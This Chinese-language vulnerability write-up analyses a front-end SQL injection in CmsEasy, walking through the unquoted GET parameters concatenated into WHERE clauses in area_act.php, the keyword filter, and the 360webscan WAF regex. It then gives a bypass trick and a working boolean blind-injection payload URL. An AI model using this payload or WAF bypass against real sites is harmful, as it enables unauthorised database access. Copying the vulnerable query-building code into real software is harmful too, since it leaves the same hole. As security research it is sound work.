CmsEasy 前台SQL注入漏洞

漏洞分析

首先看到/lib/default/area_act.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
function list_action() {
$this->view->page=front::get('page') ?front::get('page') : 1;
$this->pagesize=config::get('list_pagesize');
$limit=(($this->view->page -1) * $this->pagesize).','.$this->pagesize;
$area=new area();
$where='1';
if (front::get('province_id')) $where.=' and id='.front::get('province_id');
if (front::get('city_id')) $where.=' and id='.front::get('city_id');
if (front::get('section_id')) $where.=' and id='.front::get('section_id');
if (front::get('id')) $where.=' and id='.front::get('id');
$this->view->area=$area->getrow($where);
$archive=new archive();
$where='1';
if (front::get('province_id')) $where.=' and province_id='.front::get('province_id');
if (front::get('city_id')) $where.=' and city_id='.front::get('city_id');
if (front::get('section_id')) $where.=' and section_id='.front::get('section_id');
if (front::get('id')) $where.=' and section_id='.front::get('id').' or city_id='.front::get('id').' or province_id='.front::get('id');
$archives=$archive->getrows($where,$limit,'listorder,aid desc');
foreach ($archives as $order=>$arc) {
$archives[$order]['url']=archive::url($arc);
$archives[$order]['catname']=category::name($arc['catid']);
$archives[$order]['caturl']=category::url($arc['catid']);
$archives[$order]['adddate']=sdate($arc['adddate']);
$archives[$order]['stitle']=strip_tags($arc['title']);
}
$this->view->pages=true;
if(front::get('id')!='') {
$this->view->areaid=front::get('id');
}elseif(front::get('province_id')!='') {
$this->view->areaid=front::get('province_id');
}elseif(front::get('city_id')!='') {
$this->view->areaid=front::get('city_id');
}elseif(front::get('section_id')!='') {
$this->view->areaid=front::get('section_id');
}
$this->view->archive['title'] = area::name($this->view->areaid);
$this->view->archives=$archives;
$this->view->record_count=$archive->rec_count($where);
front::$record_count=$this->view->record_count;


$this->render();
}

可以看到province_idcity_idsection_idid都是从GET请求中获取的,和where拼接,注意,此时相关id值都是没有用单引号包裹起来的。拼接where之后直接调用getrow()方法,跟进

1
2
3
4
5
function getrow($condition,$order='1 desc',$cols='*') {
$this->condition($condition);
//var_dump($condition);
return $this->rec_select_one($condition,'*',$order);
}

可以看到,上面拼接的where就调用condition处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
function condition(&$condition) {
if (isset($condition) &&is_array($condition)) {
$_condition=array();
foreach ($condition as $key=>$value) {
//$value=str_replace("'","\'",$value);
$key = htmlspecialchars($key,ENT_QUOTES);
if(preg_match('/(if|select|ascii|from|sleep)/i', $value)){
//echo $condition;
exit('sql inject');
}
if(preg_match('/(if|select|ascii|from|sleep)/i', $key)){
//echo $condition;
exit('sql inject');
}
$_condition[]="`$key`='$value'";
}
$condition=implode(' and ',$_condition);
}
else if (is_numeric($condition)) {
if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){
//echo $condition;
exit('sql inject');
}
$this->getFields();
$condition="`$this->primary_key`='$condition'";
}else if(true === $condition){
$condition = 'true';
}else{
//echo $condition." __ ";
if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){
//echo $condition;
exit('sql inject');
}
}

if (get_class($this) == 'archive') {
if (!front::get('deletestate')) {
if ($condition)
$condition.=' and (state IS NULL or state<>\'-1\') ';
else
$condition='state IS NULL or state<>\'-1\' ';
}
else {
if ($condition)
$condition.=' and state=\'-1\' ';
else
$condition=' state=\'-1\' ';
}
}
}

可以看到,where传进来之后会有先用htmlspecialchars转义,然后进行关键字检测,这里给后面的exp构造造成了不少困扰。回到getrow函数,进入到rec_select_one函数,跟进

1
2
3
4
5
6
function rec_select_one($where,$fields="*",$order="id") {
$tbname=$this->name;
$sql=$this->sql_select($tbname,$where,1,$fields,$order);
//echo $sql."<br>";
return $this->rec_query_one($sql);
}

在这里面就是拼接SQL语句了,之后调用rec_query_one函数执行SQL语句。

整个SQL的流程大致就是这样,接下来就是构造exp了,也是最麻烦的一点,因为CmsEasy 用了webscan360。

首先需要调用到list_action方法的话,根据路由规则,可构造

1
http://localhost/cmseasy/index.php?case=area&act=list&id=1

可以从mysql日志中看到

1
SELECT * FROM `b_area`  WHERE 1 and id=1 ORDER BY 1 desc limit 1

和上面的流程是一样的,id可控,这里CmsEasy是做了容错的,所以没有办法使用报错注入(此处可以用updatexml报错方法让CmsEasy出错,可绕过360webscan,数据库会报错,但是前台不显示),所以此处只有使用布尔盲注。

首先看一下webscan360的拦截规则

1
\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

这里布尔盲注的话需要使用and或者or,所以我们看一下相关规则

1
\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?

这里非常有意思

当输入or 1=1时,360webscan会检测到,输入or a=a也会检测到。但是当输入 or a=1时,就可以绕过了,这也是payload构造的关键。

所以我们可以使用ord(mid(user(),1,1))=114来绕过360webscan,使用这个payload也不会触发上面condition 函数里的关键字检测。

所以最终的payload是

1
http://localhost/cmseasy/index.php?case=area&act=list&id=1%20or%20ord(mid(user(),1,1))=114

数据库的用户是root@localhost,第一个字符是r,对应的ascii是114,可以看下实际测试

当条件为真时,返回结果如下

当条件为假时,返回如下